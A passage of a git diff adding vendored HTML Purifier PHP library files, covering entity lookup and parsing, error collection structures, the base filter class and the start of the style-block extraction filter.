+ $r = self::unsafeIconv('utf-8', 'ascii//IGNORE', "\xCE\xB1" . str_repeat('a', 9000));
+ if ($r === false) {
+ $code = self::ICONV_UNUSABLE;
+ } elseif (($c = strlen($r)) < 9000) {
+ $code = self::ICONV_TRUNCATES;
+ } elseif ($c > 9000) {
+ trigger_error(
+ 'Your copy of iconv is extremely buggy. Please notify HTML Purifier maintainers: ' .
+ 'include your iconv version as per phpversion()',
+ E_USER_ERROR
+ );
+ } else {
+ $code = self::ICONV_OK;
+ }
+ }
+ return $code;
+ }
+
+ /**
+ * This expensive function tests whether or not a given character
+ * encoding supports ASCII. 7/8-bit encodings like Shift_JIS will
+ * fail this test, and require special processing. Variable width
+ * encodings shouldn't ever fail.
+ *
+ * @param string $encoding Encoding name to test, as per iconv format
+ * @param bool $bypass Whether or not to bypass the precompiled arrays.
+ * @return Array of UTF-8 characters to their corresponding ASCII,
+ * which can be used to "undo" any overzealous iconv action.
+ */
+ public static function testEncodingSupportsASCII($encoding, $bypass = false)
+ {
+ // All calls to iconv here are unsafe, proof by case analysis:
+ // If ICONV_OK, no difference.
+ // If ICONV_TRUNCATE, all calls involve one character inputs,
+ // so bug is not triggered.
+ // If ICONV_UNUSABLE, this call is irrelevant
+ static $encodings = array();
+ if (!$bypass) {
+ if (isset($encodings[$encoding])) {
+ return $encodings[$encoding];
+ }
+ $lenc = strtolower($encoding);
+ switch ($lenc) {
+ case 'shift_jis':
+ return array("\xC2\xA5" => '\\', "\xE2\x80\xBE" => '~');
+ case 'johab':
+ return array("\xE2\x82\xA9" => '\\');
+ }
+ if (strpos($lenc, 'iso-8859-') === 0) {
+ return array();
+ }
+ }
+ $ret = array();
+ if (self::unsafeIconv('UTF-8', $encoding, 'a') === false) {
+ return false;
+ }
+ for ($i = 0x20; $i <= 0x7E; $i++) { // all printable ASCII chars
+ $c = chr($i); // UTF-8 char
+ $r = self::unsafeIconv('UTF-8', "$encoding//IGNORE", $c); // initial conversion
+ if ($r === '' ||
+ // This line is needed for iconv implementations that do not
+ // omit characters that do not exist in the target character set
+ ($r === $c && self::unsafeIconv($encoding, 'UTF-8//IGNORE', $r) !== $c)
+ ) {
+ // Reverse engineer: what's the UTF-8 equiv of this byte
+ // sequence? This assumes that there's no variable width
+ // encoding that doesn't support ASCII.
+ $ret[self::unsafeIconv($encoding, 'UTF-8//IGNORE', $c)] = $c;
+ }
+ }
+ $encodings[$encoding] = $ret;
+ return $ret;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityLookup.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityLookup.php
new file mode 100644
index 000000000..f12ff13a3
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityLookup.php
@@ -0,0 +1,48 @@
+<?php
+
+/**
+ * Object that provides entity lookup table from entity name to character
+ */
+class HTMLPurifier_EntityLookup
+{
+ /**
+ * Assoc array of entity name to character represented.
+ * @type array
+ */
+ public $table;
+
+ /**
+ * Sets up the entity lookup table from the serialized file contents.
+ * @param bool $file
+ * @note The serialized contents are versioned, but were generated
+ * using the maintenance script generate_entity_file.php
+ * @warning This is not in constructor to help enforce the Singleton
+ */
+ public function setup($file = false)
+ {
+ if (!$file) {
+ $file = HTMLPURIFIER_PREFIX . '/HTMLPurifier/EntityLookup/entities.ser';
+ }
+ $this->table = unserialize(file_get_contents($file));
+ }
+
+ /**
+ * Retrieves sole instance of the object.
+ * @param bool|HTMLPurifier_EntityLookup $prototype Optional prototype of custom lookup table to overload with.
+ * @return HTMLPurifier_EntityLookup
+ */
+ public static function instance($prototype = false)
+ {
+ // no references, since PHP doesn't copy unless modified
+ static $instance = null;
+ if ($prototype) {
+ $instance = $prototype;
+ } elseif (!$instance) {
+ $instance = new HTMLPurifier_EntityLookup();
+ $instance->setup();
+ }
+ return $instance;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityLookup/entities.ser b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityLookup/entities.ser
new file mode 100644
index 000000000..e8b08128b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityLookup/entities.ser
@@ -0,0 +1 @@
+a:253:{s:4:"fnof";s:2:"Æ’";s:5:"Alpha";s:2:"Α";s:4:"Beta";s:2:"Î’";s:5:"Gamma";s:2:"Γ";s:5:"Delta";s:2:"Δ";s:7:"Epsilon";s:2:"Ε";s:4:"Zeta";s:2:"Ζ";s:3:"Eta";s:2:"Η";s:5:"Theta";s:2:"Θ";s:4:"Iota";s:2:"Ι";s:5:"Kappa";s:2:"Κ";s:6:"Lambda";s:2:"Λ";s:2:"Mu";s:2:"Îœ";s:2:"Nu";s:2:"Î";s:2:"Xi";s:2:"Ξ";s:7:"Omicron";s:2:"Ο";s:2:"Pi";s:2:"Π";s:3:"Rho";s:2:"Ρ";s:5:"Sigma";s:2:"Σ";s:3:"Tau";s:2:"Τ";s:7:"Upsilon";s:2:"Î¥";s:3:"Phi";s:2:"Φ";s:3:"Chi";s:2:"Χ";s:3:"Psi";s:2:"Ψ";s:5:"Omega";s:2:"Ω";s:5:"alpha";s:2:"α";s:4:"beta";s:2:"β";s:5:"gamma";s:2:"γ";s:5:"delta";s:2:"δ";s:7:"epsilon";s:2:"ε";s:4:"zeta";s:2:"ζ";s:3:"eta";s:2:"η";s:5:"theta";s:2:"θ";s:4:"iota";s:2:"ι";s:5:"kappa";s:2:"κ";s:6:"lambda";s:2:"λ";s:2:"mu";s:2:"μ";s:2:"nu";s:2:"ν";s:2:"xi";s:2:"ξ";s:7:"omicron";s:2:"ο";s:2:"pi";s:2:"Ï€";s:3:"rho";s:2:"Ï";s:6:"sigmaf";s:2:"Ï‚";s:5:"sigma";s:2:"σ";s:3:"tau";s:2:"Ï„";s:7:"upsilon";s:2:"Ï…";s:3:"phi";s:2:"φ";s:3:"chi";s:2:"χ";s:3:"psi";s:2:"ψ";s:5:"omega";s:2:"ω";s:8:"thetasym";s:2:"Ï‘";s:5:"upsih";s:2:"Ï’";s:3:"piv";s:2:"Ï–";s:4:"bull";s:3:"•";s:6:"hellip";s:3:"…";s:5:"prime";s:3:"′";s:5:"Prime";s:3:"″";s:5:"oline";s:3:"‾";s:5:"frasl";s:3:"â„";s:6:"weierp";s:3:"℘";s:5:"image";s:3:"â„‘";s:4:"real";s:3:"â„œ";s:5:"trade";s:3:"â„¢";s:7:"alefsym";s:3:"ℵ";s:4:"larr";s:3:"â†";s:4:"uarr";s:3:"↑";s:4:"rarr";s:3:"→";s:4:"darr";s:3:"↓";s:4:"harr";s:3:"↔";s:5:"crarr";s:3:"↵";s:4:"lArr";s:3:"â‡";s:4:"uArr";s:3:"⇑";s:4:"rArr";s:3:"⇒";s:4:"dArr";s:3:"⇓";s:4:"hArr";s:3:"⇔";s:6:"forall";s:3:"∀";s:4:"part";s:3:"∂";s:5:"exist";s:3:"∃";s:5:"empty";s:3:"∅";s:5:"nabla";s:3:"∇";s:4:"isin";s:3:"∈";s:5:"notin";s:3:"∉";s:2:"ni";s:3:"∋";s:4:"prod";s:3:"âˆ";s:3:"sum";s:3:"∑";s:5:"minus";s:3:"−";s:6:"lowast";s:3:"∗";s:5:"radic";s:3:"√";s:4:"prop";s:3:"âˆ";s:5:"infin";s:3:"∞";s:3:"ang";s:3:"∠";s:3:"and";s:3:"∧";s:2:"or";s:3:"∨";s:3:"cap";s:3:"∩";s:3:"cup";s:3:"∪";s:3:"int";s:3:"∫";s:6:"there4";s:3:"∴";s:3:"sim";s:3:"∼";s:4:"cong";s:3:"≅";s:5:"asymp";s:3:"≈";s:2:"ne";s:3:"≠";s:5:"equiv";s:3:"≡";s:2:"le";s:3:"≤";s:2:"ge";s:3:"≥";s:3:"sub";s:3:"⊂";s:3:"sup";s:3:"⊃";s:4:"nsub";s:3:"⊄";s:4:"sube";s:3:"⊆";s:4:"supe";s:3:"⊇";s:5:"oplus";s:3:"⊕";s:6:"otimes";s:3:"⊗";s:4:"perp";s:3:"⊥";s:4:"sdot";s:3:"â‹…";s:5:"lceil";s:3:"⌈";s:5:"rceil";s:3:"⌉";s:6:"lfloor";s:3:"⌊";s:6:"rfloor";s:3:"⌋";s:4:"lang";s:3:"〈";s:4:"rang";s:3:"〉";s:3:"loz";s:3:"â—Š";s:6:"spades";s:3:"â™ ";s:5:"clubs";s:3:"♣";s:6:"hearts";s:3:"♥";s:5:"diams";s:3:"♦";s:4:"quot";s:1:""";s:3:"amp";s:1:"&";s:2:"lt";s:1:"<";s:2:"gt";s:1:">";s:4:"apos";s:1:"'";s:5:"OElig";s:2:"Å’";s:5:"oelig";s:2:"Å“";s:6:"Scaron";s:2:"Å ";s:6:"scaron";s:2:"Å¡";s:4:"Yuml";s:2:"Ÿ";s:4:"circ";s:2:"ˆ";s:5:"tilde";s:2:"Ëœ";s:4:"ensp";s:3:" ";s:4:"emsp";s:3:" ";s:6:"thinsp";s:3:" ";s:4:"zwnj";s:3:"‌";s:3:"zwj";s:3:"â€";s:3:"lrm";s:3:"‎";s:3:"rlm";s:3:"â€";s:5:"ndash";s:3:"–";s:5:"mdash";s:3:"—";s:5:"lsquo";s:3:"‘";s:5:"rsquo";s:3:"’";s:5:"sbquo";s:3:"‚";s:5:"ldquo";s:3:"“";s:5:"rdquo";s:3:"â€";s:5:"bdquo";s:3:"„";s:6:"dagger";s:3:"†";s:6:"Dagger";s:3:"‡";s:6:"permil";s:3:"‰";s:6:"lsaquo";s:3:"‹";s:6:"rsaquo";s:3:"›";s:4:"euro";s:3:"€";s:4:"nbsp";s:2:" ";s:5:"iexcl";s:2:"¡";s:4:"cent";s:2:"¢";s:5:"pound";s:2:"£";s:6:"curren";s:2:"¤";s:3:"yen";s:2:"Â¥";s:6:"brvbar";s:2:"¦";s:4:"sect";s:2:"§";s:3:"uml";s:2:"¨";s:4:"copy";s:2:"©";s:4:"ordf";s:2:"ª";s:5:"laquo";s:2:"«";s:3:"not";s:2:"¬";s:3:"shy";s:2:"­";s:3:"reg";s:2:"®";s:4:"macr";s:2:"¯";s:3:"deg";s:2:"°";s:6:"plusmn";s:2:"±";s:4:"sup2";s:2:"²";s:4:"sup3";s:2:"³";s:5:"acute";s:2:"´";s:5:"micro";s:2:"µ";s:4:"para";s:2:"¶";s:6:"middot";s:2:"·";s:5:"cedil";s:2:"¸";s:4:"sup1";s:2:"¹";s:4:"ordm";s:2:"º";s:5:"raquo";s:2:"»";s:6:"frac14";s:2:"¼";s:6:"frac12";s:2:"½";s:6:"frac34";s:2:"¾";s:6:"iquest";s:2:"¿";s:6:"Agrave";s:2:"À";s:6:"Aacute";s:2:"Ã";s:5:"Acirc";s:2:"Â";s:6:"Atilde";s:2:"Ã";s:4:"Auml";s:2:"Ä";s:5:"Aring";s:2:"Ã…";s:5:"AElig";s:2:"Æ";s:6:"Ccedil";s:2:"Ç";s:6:"Egrave";s:2:"È";s:6:"Eacute";s:2:"É";s:5:"Ecirc";s:2:"Ê";s:4:"Euml";s:2:"Ë";s:6:"Igrave";s:2:"ÃŒ";s:6:"Iacute";s:2:"Ã";s:5:"Icirc";s:2:"ÃŽ";s:4:"Iuml";s:2:"Ã";s:3:"ETH";s:2:"Ã";s:6:"Ntilde";s:2:"Ñ";s:6:"Ograve";s:2:"Ã’";s:6:"Oacute";s:2:"Ó";s:5:"Ocirc";s:2:"Ô";s:6:"Otilde";s:2:"Õ";s:4:"Ouml";s:2:"Ö";s:5:"times";s:2:"×";s:6:"Oslash";s:2:"Ø";s:6:"Ugrave";s:2:"Ù";s:6:"Uacute";s:2:"Ú";s:5:"Ucirc";s:2:"Û";s:4:"Uuml";s:2:"Ãœ";s:6:"Yacute";s:2:"Ã";s:5:"THORN";s:2:"Þ";s:5:"szlig";s:2:"ß";s:6:"agrave";s:2:"à";s:6:"aacute";s:2:"á";s:5:"acirc";s:2:"â";s:6:"atilde";s:2:"ã";s:4:"auml";s:2:"ä";s:5:"aring";s:2:"Ã¥";s:5:"aelig";s:2:"æ";s:6:"ccedil";s:2:"ç";s:6:"egrave";s:2:"è";s:6:"eacute";s:2:"é";s:5:"ecirc";s:2:"ê";s:4:"euml";s:2:"ë";s:6:"igrave";s:2:"ì";s:6:"iacute";s:2:"í";s:5:"icirc";s:2:"î";s:4:"iuml";s:2:"ï";s:3:"eth";s:2:"ð";s:6:"ntilde";s:2:"ñ";s:6:"ograve";s:2:"ò";s:6:"oacute";s:2:"ó";s:5:"ocirc";s:2:"ô";s:6:"otilde";s:2:"õ";s:4:"ouml";s:2:"ö";s:6:"divide";s:2:"÷";s:6:"oslash";s:2:"ø";s:6:"ugrave";s:2:"ù";s:6:"uacute";s:2:"ú";s:5:"ucirc";s:2:"û";s:4:"uuml";s:2:"ü";s:6:"yacute";s:2:"ý";s:5:"thorn";s:2:"þ";s:4:"yuml";s:2:"ÿ";} \ No newline at end of file
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityParser.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityParser.php
new file mode 100644
index 000000000..61529dcd9
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/EntityParser.php
@@ -0,0 +1,153 @@
+<?php
+
+// if want to implement error collecting here, we'll need to use some sort
+// of global data (probably trigger_error) because it's impossible to pass
+// $config or $context to the callback functions.
+
+/**
+ * Handles referencing and derefencing character entities
+ */
+class HTMLPurifier_EntityParser
+{
+
+ /**
+ * Reference to entity lookup table.
+ * @type HTMLPurifier_EntityLookup
+ */
+ protected $_entity_lookup;
+
+ /**
+ * Callback regex string for parsing entities.
+ * @type string
+ */
+ protected $_substituteEntitiesRegex =
+ '/&(?:[#]x([a-fA-F0-9]+)|[#]0*(\d+)|([A-Za-z_:][A-Za-z0-9.\-_:]*));?/';
+ // 1. hex 2. dec 3. string (XML style)
+
+ /**
+ * Decimal to parsed string conversion table for special entities.
+ * @type array
+ */
+ protected $_special_dec2str =
+ array(
+ 34 => '"',
+ 38 => '&',
+ 39 => "'",
+ 60 => '<',
+ 62 => '>'
+ );
+
+ /**
+ * Stripped entity names to decimal conversion table for special entities.
+ * @type array
+ */
+ protected $_special_ent2dec =
+ array(
+ 'quot' => 34,
+ 'amp' => 38,
+ 'lt' => 60,
+ 'gt' => 62
+ );
+
+ /**
+ * Substitutes non-special entities with their parsed equivalents. Since
+ * running this whenever you have parsed character is t3h 5uck, we run
+ * it before everything else.
+ *
+ * @param string $string String to have non-special entities parsed.
+ * @return string Parsed string.
+ */
+ public function substituteNonSpecialEntities($string)
+ {
+ // it will try to detect missing semicolons, but don't rely on it
+ return preg_replace_callback(
+ $this->_substituteEntitiesRegex,
+ array($this, 'nonSpecialEntityCallback'),
+ $string
+ );
+ }
+
+ /**
+ * Callback function for substituteNonSpecialEntities() that does the work.
+ *
+ * @param array $matches PCRE matches array, with 0 the entire match, and
+ * either index 1, 2 or 3 set with a hex value, dec value,
+ * or string (respectively).
+ * @return string Replacement string.
+ */
+
+ protected function nonSpecialEntityCallback($matches)
+ {
+ // replaces all but big five
+ $entity = $matches[0];
+ $is_num = (@$matches[0][1] === '#');
+ if ($is_num) {
+ $is_hex = (@$entity[2] === 'x');
+ $code = $is_hex ? hexdec($matches[1]) : (int) $matches[2];
+ // abort for special characters
+ if (isset($this->_special_dec2str[$code])) {
+ return $entity;
+ }
+ return HTMLPurifier_Encoder::unichr($code);
+ } else {
+ if (isset($this->_special_ent2dec[$matches[3]])) {
+ return $entity;
+ }
+ if (!$this->_entity_lookup) {
+ $this->_entity_lookup = HTMLPurifier_EntityLookup::instance();
+ }
+ if (isset($this->_entity_lookup->table[$matches[3]])) {
+ return $this->_entity_lookup->table[$matches[3]];
+ } else {
+ return $entity;
+ }
+ }
+ }
+
+ /**
+ * Substitutes only special entities with their parsed equivalents.
+ *
+ * @notice We try to avoid calling this function because otherwise, it
+ * would have to be called a lot (for every parsed section).
+ *
+ * @param string $string String to have non-special entities parsed.
+ * @return string Parsed string.
+ */
+ public function substituteSpecialEntities($string)
+ {
+ return preg_replace_callback(
+ $this->_substituteEntitiesRegex,
+ array($this, 'specialEntityCallback'),
+ $string
+ );
+ }
+
+ /**
+ * Callback function for substituteSpecialEntities() that does the work.
+ *
+ * This callback has same syntax as nonSpecialEntityCallback().
+ *
+ * @param array $matches PCRE-style matches array, with 0 the entire match, and
+ * either index 1, 2 or 3 set with a hex value, dec value,
+ * or string (respectively).
+ * @return string Replacement string.
+ */
+ protected function specialEntityCallback($matches)
+ {
+ $entity = $matches[0];
+ $is_num = (@$matches[0][1] === '#');
+ if ($is_num) {
+ $is_hex = (@$entity[2] === 'x');
+ $int = $is_hex ? hexdec($matches[1]) : (int) $matches[2];
+ return isset($this->_special_dec2str[$int]) ?
+ $this->_special_dec2str[$int] :
+ $entity;
+ } else {
+ return isset($this->_special_ent2dec[$matches[3]]) ?
+ $this->_special_ent2dec[$matches[3]] :
+ $entity;
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ErrorCollector.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ErrorCollector.php
new file mode 100644
index 000000000..d47e3f2e2
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ErrorCollector.php
@@ -0,0 +1,244 @@
+<?php
+
+/**
+ * Error collection class that enables HTML Purifier to report HTML
+ * problems back to the user
+ */
+class HTMLPurifier_ErrorCollector
+{
+
+ /**
+ * Identifiers for the returned error array. These are purposely numeric
+ * so list() can be used.
+ */
+ const LINENO = 0;
+ const SEVERITY = 1;
+ const MESSAGE = 2;
+ const CHILDREN = 3;
+
+ /**
+ * @type array
+ */
+ protected $errors;
+
+ /**
+ * @type array
+ */
+ protected $_current;
+
+ /**
+ * @type array
+ */
+ protected $_stacks = array(array());
+
+ /**
+ * @type HTMLPurifier_Language
+ */
+ protected $locale;
+
+ /**
+ * @type HTMLPurifier_Generator
+ */
+ protected $generator;
+
+ /**
+ * @type HTMLPurifier_Context
+ */
+ protected $context;
+
+ /**
+ * @type array
+ */
+ protected $lines = array();
+
+ /**
+ * @param HTMLPurifier_Context $context
+ */
+ public function __construct($context)
+ {
+ $this->locale =& $context->get('Locale');
+ $this->context = $context;
+ $this->_current =& $this->_stacks[0];
+ $this->errors =& $this->_stacks[0];
+ }
+
+ /**
+ * Sends an error message to the collector for later use
+ * @param int $severity Error severity, PHP error style (don't use E_USER_)
+ * @param string $msg Error message text
+ */
+ public function send($severity, $msg)
+ {
+ $args = array();
+ if (func_num_args() > 2) {
+ $args = func_get_args();
+ array_shift($args);
+ unset($args[0]);
+ }
+
+ $token = $this->context->get('CurrentToken', true);
+ $line = $token ? $token->line : $this->context->get('CurrentLine', true);
+ $col = $token ? $token->col : $this->context->get('CurrentCol', true);
+ $attr = $this->context->get('CurrentAttr', true);
+
+ // perform special substitutions, also add custom parameters
+ $subst = array();
+ if (!is_null($token)) {
+ $args['CurrentToken'] = $token;
+ }
+ if (!is_null($attr)) {
+ $subst['$CurrentAttr.Name'] = $attr;
+ if (isset($token->attr[$attr])) {
+ $subst['$CurrentAttr.Value'] = $token->attr[$attr];
+ }
+ }
+
+ if (empty($args)) {
+ $msg = $this->locale->getMessage($msg);
+ } else {
+ $msg = $this->locale->formatMessage($msg, $args);
+ }
+
+ if (!empty($subst)) {
+ $msg = strtr($msg, $subst);
+ }
+
+ // (numerically indexed)
+ $error = array(
+ self::LINENO => $line,
+ self::SEVERITY => $severity,
+ self::MESSAGE => $msg,
+ self::CHILDREN => array()
+ );
+ $this->_current[] = $error;
+
+ // NEW CODE BELOW ...
+ // Top-level errors are either:
+ // TOKEN type, if $value is set appropriately, or
+ // "syntax" type, if $value is null
+ $new_struct = new HTMLPurifier_ErrorStruct();
+ $new_struct->type = HTMLPurifier_ErrorStruct::TOKEN;
+ if ($token) {
+ $new_struct->value = clone $token;
+ }
+ if (is_int($line) && is_int($col)) {
+ if (isset($this->lines[$line][$col])) {
+ $struct = $this->lines[$line][$col];
+ } else {
+ $struct = $this->lines[$line][$col] = $new_struct;
+ }
+ // These ksorts may present a performance problem
+ ksort($this->lines[$line], SORT_NUMERIC);
+ } else {
+ if (isset($this->lines[-1])) {
+ $struct = $this->lines[-1];
+ } else {
+ $struct = $this->lines[-1] = $new_struct;
+ }
+ }
+ ksort($this->lines, SORT_NUMERIC);
+
+ // Now, check if we need to operate on a lower structure
+ if (!empty($attr)) {
+ $struct = $struct->getChild(HTMLPurifier_ErrorStruct::ATTR, $attr);
+ if (!$struct->value) {
+ $struct->value = array($attr, 'PUT VALUE HERE');
+ }
+ }
+ if (!empty($cssprop)) {
+ $struct = $struct->getChild(HTMLPurifier_ErrorStruct::CSSPROP, $cssprop);
+ if (!$struct->value) {
+ // if we tokenize CSS this might be a little more difficult to do
+ $struct->value = array($cssprop, 'PUT VALUE HERE');
+ }
+ }
+
+ // Ok, structs are all setup, now time to register the error
+ $struct->addError($severity, $msg);
+ }
+
+ /**
+ * Retrieves raw error data for custom formatter to use
+ */
+ public function getRaw()
+ {
+ return $this->errors;
+ }
+
+ /**
+ * Default HTML formatting implementation for error messages
+ * @param HTMLPurifier_Config $config Configuration, vital for HTML output nature
+ * @param array $errors Errors array to display; used for recursion.
+ * @return string
+ */
+ public function getHTMLFormatted($config, $errors = null)
+ {
+ $ret = array();
+
+ $this->generator = new HTMLPurifier_Generator($config, $this->context);
+ if ($errors === null) {
+ $errors = $this->errors;
+ }
+
+ // 'At line' message needs to be removed
+
+ // generation code for new structure goes here. It needs to be recursive.
+ foreach ($this->lines as $line => $col_array) {
+ if ($line == -1) {
+ continue;
+ }
+ foreach ($col_array as $col => $struct) {
+ $this->_renderStruct($ret, $struct, $line, $col);
+ }
+ }
+ if (isset($this->lines[-1])) {
+ $this->_renderStruct($ret, $this->lines[-1]);
+ }
+
+ if (empty($errors)) {
+ return '<p>' . $this->locale->getMessage('ErrorCollector: No errors') . '</p>';
+ } else {
+ return '<ul><li>' . implode('</li><li>', $ret) . '</li></ul>';
+ }
+
+ }
+
+ private function _renderStruct(&$ret, $struct, $line = null, $col = null)
+ {
+ $stack = array($struct);
+ $context_stack = array(array());
+ while ($current = array_pop($stack)) {
+ $context = array_pop($context_stack);
+ foreach ($current->errors as $error) {
+ list($severity, $msg) = $error;
+ $string = '';
+ $string .= '<div>';
+ // W3C uses an icon to indicate the severity of the error.
+ $error = $this->locale->getErrorName($severity);
+ $string .= "<span class=\"error e$severity\"><strong>$error</strong></span> ";
+ if (!is_null($line) && !is_null($col)) {
+ $string .= "<em class=\"location\">Line $line, Column $col: </em> ";
+ } else {
+ $string .= '<em class="location">End of Document: </em> ';
+ }
+ $string .= '<strong class="description">' . $this->generator->escape($msg) . '</strong> ';
+ $string .= '</div>';
+ // Here, have a marker for the character on the column appropriate.
+ // Be sure to clip extremely long lines.
+ //$string .= '<pre>';
+ //$string .= '';
+ //$string .= '</pre>';
+ $ret[] = $string;
+ }
+ foreach ($current->children as $array) {
+ $context[] = $current;
+ $stack = array_merge($stack, array_reverse($array, true));
+ for ($i = count($array); $i > 0; $i--) {
+ $context_stack[] = $context;
+ }
+ }
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ErrorStruct.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ErrorStruct.php
new file mode 100644
index 000000000..cf869d321
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ErrorStruct.php
@@ -0,0 +1,74 @@
+<?php
+
+/**
+ * Records errors for particular segments of an HTML document such as tokens,
+ * attributes or CSS properties. They can contain error structs (which apply
+ * to components of what they represent), but their main purpose is to hold
+ * errors applying to whatever struct is being used.
+ */
+class HTMLPurifier_ErrorStruct
+{
+
+ /**
+ * Possible values for $children first-key. Note that top-level structures
+ * are automatically token-level.
+ */
+ const TOKEN = 0;
+ const ATTR = 1;
+ const CSSPROP = 2;
+
+ /**
+ * Type of this struct.
+ * @type string
+ */
+ public $type;
+
+ /**
+ * Value of the struct we are recording errors for. There are various
+ * values for this:
+ * - TOKEN: Instance of HTMLPurifier_Token
+ * - ATTR: array('attr-name', 'value')
+ * - CSSPROP: array('prop-name', 'value')
+ * @type mixed
+ */
+ public $value;
+
+ /**
+ * Errors registered for this structure.
+ * @type array
+ */
+ public $errors = array();
+
+ /**
+ * Child ErrorStructs that are from this structure. For example, a TOKEN
+ * ErrorStruct would contain ATTR ErrorStructs. This is a multi-dimensional
+ * array in structure: [TYPE]['identifier']
+ * @type array
+ */
+ public $children = array();
+
+ /**
+ * @param string $type
+ * @param string $id
+ * @return mixed
+ */
+ public function getChild($type, $id)
+ {
+ if (!isset($this->children[$type][$id])) {
+ $this->children[$type][$id] = new HTMLPurifier_ErrorStruct();
+ $this->children[$type][$id]->type = $type;
+ }
+ return $this->children[$type][$id];
+ }
+
+ /**
+ * @param int $severity
+ * @param string $message
+ */
+ public function addError($severity, $message)
+ {
+ $this->errors[] = array($severity, $message);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Exception.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Exception.php
new file mode 100644
index 000000000..be85b4c56
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Exception.php
@@ -0,0 +1,12 @@
+<?php
+
+/**
+ * Global exception class for HTML Purifier; any exceptions we throw
+ * are from here.
+ */
+class HTMLPurifier_Exception extends Exception
+{
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter.php
new file mode 100644
index 000000000..c1f41ee16
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter.php
@@ -0,0 +1,56 @@
+<?php
+
+/**
+ * Represents a pre or post processing filter on HTML Purifier's output
+ *
+ * Sometimes, a little ad-hoc fixing of HTML has to be done before
+ * it gets sent through HTML Purifier: you can use filters to acheive
+ * this effect. For instance, YouTube videos can be preserved using
+ * this manner. You could have used a decorator for this task, but
+ * PHP's support for them is not terribly robust, so we're going
+ * to just loop through the filters.
+ *
+ * Filters should be exited first in, last out. If there are three filters,
+ * named 1, 2 and 3, the order of execution should go 1->preFilter,
+ * 2->preFilter, 3->preFilter, purify, 3->postFilter, 2->postFilter,
+ * 1->postFilter.
+ *
+ * @note Methods are not declared abstract as it is perfectly legitimate
+ * for an implementation not to want anything to happen on a step
+ */
+
+class HTMLPurifier_Filter
+{
+
+ /**
+ * Name of the filter for identification purposes.
+ * @type string
+ */
+ public $name;
+
+ /**
+ * Pre-processor function, handles HTML before HTML Purifier
+ * @param string $html
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return string
+ */
+ public function preFilter($html, $config, $context)
+ {
+ return $html;
+ }
+
+ /**
+ * Post-processor function, handles HTML after HTML Purifier
+ * @param string $html
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return string
+ */
+ public function postFilter($html, $config, $context)
+ {
+ return $html;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter/ExtractStyleBlocks.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter/ExtractStyleBlocks.php
new file mode 100644
index 000000000..08e62c16b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Filter/ExtractStyleBlocks.php
@@ -0,0 +1,338 @@
+<?php
+
+// why is this a top level function? Because PHP 5.2.0 doesn't seem to
+// understand how to interpret this filter if it's a static method.
+// It's all really silly, but if we go this route it might be reasonable
+// to coalesce all of these methods into one.
+function htmlpurifier_filter_extractstyleblocks_muteerrorhandler()
+{
+}
+
+/**
+ * This filter extracts <style> blocks from input HTML, cleans them up
+ * using CSSTidy, and then places them in $purifier->context->get('StyleBlocks')
+ * so they can be used elsewhere in the document.
+ *
+ * @note
+ * See tests/HTMLPurifier/Filter/ExtractStyleBlocksTest.php for
+ * sample usage.
+ *
+ * @note
+ * This filter can also be used on stylesheets not included in the
+ * document--something purists would probably prefer. Just directly
+ * call HTMLPurifier_Filter_ExtractStyleBlocks->cleanCSS()
+ */
+class HTMLPurifier_Filter_ExtractStyleBlocks extends HTMLPurifier_Filter
+{
+ /**
+ * @type string
+ */
+ public $name = 'ExtractStyleBlocks';
+
+ /**
+ * @type array
+ */
+ private $_styleMatches = array();
+
+ /**
+ * @type csstidy
+ */
+ private $_tidy;
+
+ /**
+ * @type HTMLPurifier_AttrDef_HTML_ID
+ */
+ private $_id_attrdef;
+
+ /**
+ * @type HTMLPurifier_AttrDef_CSS_Ident
+ */
+ private $_class_attrdef;
+
+ /**
+ * @type HTMLPurifier_AttrDef_Enum
+ */
+ private $_enum_attrdef;
+
+ public function __construct()
+ {
+ $this->_tidy = new csstidy();
+ $this->_tidy->set_cfg('lowercase_s', false);
+ $this->_id_attrdef = new HTMLPurifier_AttrDef_HTML_ID(true);
+ $this->_class_attrdef = new HTMLPurifier_AttrDef_CSS_Ident();
+ $this->_enum_attrdef = new HTMLPurifier_AttrDef_Enum(
+ array(
+ 'first-child',
+ 'link',
+ 'visited',
+ 'active',
+ 'hover',
+ 'focus'
+ )
+ );
+ }
+
+ /**
+ * Save the contents of CSS blocks to style matches
+ * @param array $matches preg_replace style $matches array
+ */
+ protected function styleCallback($matches)
+ {
+ $this->_styleMatches[] = $matches[1];
+ }
+
+ /**
